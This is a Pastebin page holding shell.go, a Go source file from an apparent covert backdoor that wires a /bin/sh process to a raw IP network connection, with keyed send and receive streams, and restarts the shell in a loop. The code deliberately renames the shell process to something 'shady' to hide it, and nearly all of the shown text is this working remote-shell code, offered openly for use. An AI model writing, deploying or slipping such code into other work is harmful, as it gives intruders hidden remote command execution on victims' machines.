Advertisement
FlyFar

shell.go

Jan 20th, 2024
1,177
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Go 2.21 KB | Cybersecurity | 0 0
  1. package main
  2.  
  3. /*
  4.  * shell.go
  5.  * Hook up the network to a shell
  6.  * By J. Stuart McMurray
  7.  * Created 0160226
  8.  * Last Modified 0160226
  9.  */
  10.  
  11. import (
  12.     "bufio"
  13.     "io"
  14.     "log"
  15.     "net"
  16.     "os"
  17.     "os/exec"
  18.     "runtime"
  19. )
  20.  
  21. func shell(c *net.IPConn, name string) {
  22.     /* Get keys */
  23.     skey, rkey := readShellKeys()
  24.     for {
  25.         /* Get a shell */
  26.         shell, stdin, stdout, stderr := makeShell(name)
  27.         /* Start the copies */
  28.         ec := make(chan error, 4)
  29.         go send(c, stdout, skey, ec)
  30.         go send(c, stderr, skey, ec)
  31.         go recv(stdin, c, rkey, ec)
  32.         /* Start the shell */
  33.         if err := shell.Start(); nil != err {
  34.             log.Fatalf("Cannot start shell: %v", err)
  35.         }
  36.         log.Printf("Ready %v <-> %v", c.LocalAddr(), c.RemoteAddr())
  37.         go func() {
  38.             ec <- shell.Wait()
  39.         }()
  40.  
  41.         /* Wait for something to happen */
  42.         err := <-ec
  43.         shell.Process.Kill()
  44.         stdin.Close()
  45.         stdout.Close()
  46.         stderr.Close()
  47.         if nil != err && io.EOF != err {
  48.             log.Printf("Error: %v", err)
  49.         } else {
  50.             log.Printf("Done.")
  51.         }
  52.     }
  53. }
  54.  
  55. /* makeShell makes a shell named n, and returns the shell and it's i/o. */
  56. func makeShell(n string) (
  57.     shell *exec.Cmd,
  58.     stdin io.WriteCloser,
  59.     stdout io.ReadCloser,
  60.     stderr io.ReadCloser,
  61. ) {
  62.     if "windows" == runtime.GOOS {
  63.         log.Fatalf("Windows is not supported.  Please submit a patch.")
  64.     }
  65.     /* Make a shell */
  66.     shell = exec.Command("/bin/sh")
  67.     /* Set the binary as /bin/sh */
  68.     shell.Path = "/bin/sh"
  69.     /* Name it something shady */
  70.     shell.Args = []string{n}
  71.     /* Get i/o */
  72.     stdin, stdout, stderr = pipes(shell)
  73.     return
  74. }
  75.  
  76. /* pipes gets the i/o pipes for c, or calls log.Fatalf if it can't */
  77. func pipes(cmd *exec.Cmd) (stdin io.WriteCloser, stdout, stderr io.ReadCloser) {
  78.     var err error
  79.     /* Get stdio */
  80.     stdin, err = cmd.StdinPipe()
  81.     if nil != err {
  82.         log.Fatalf("Cannot get stdin: %v", err)
  83.     }
  84.     stdout, err = cmd.StdoutPipe()
  85.     if nil != err {
  86.         log.Fatalf("Cannot get stdout: %v", err)
  87.     }
  88.     stderr, err = cmd.StderrPipe()
  89.     if nil != err {
  90.         log.Fatalf("Cannot get stderr: %v", err)
  91.     }
  92.     return
  93. }
  94.  
  95. /* readShellKeys gets two keys (send, receive) from stdin. */
  96. func readShellKeys() (skey, rkey [KEYLEN]byte) {
  97.     r := bufio.NewReader(os.Stdin)
  98.     skey = getKey(r)
  99.     rkey = getKey(r)
  100.     return
  101. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement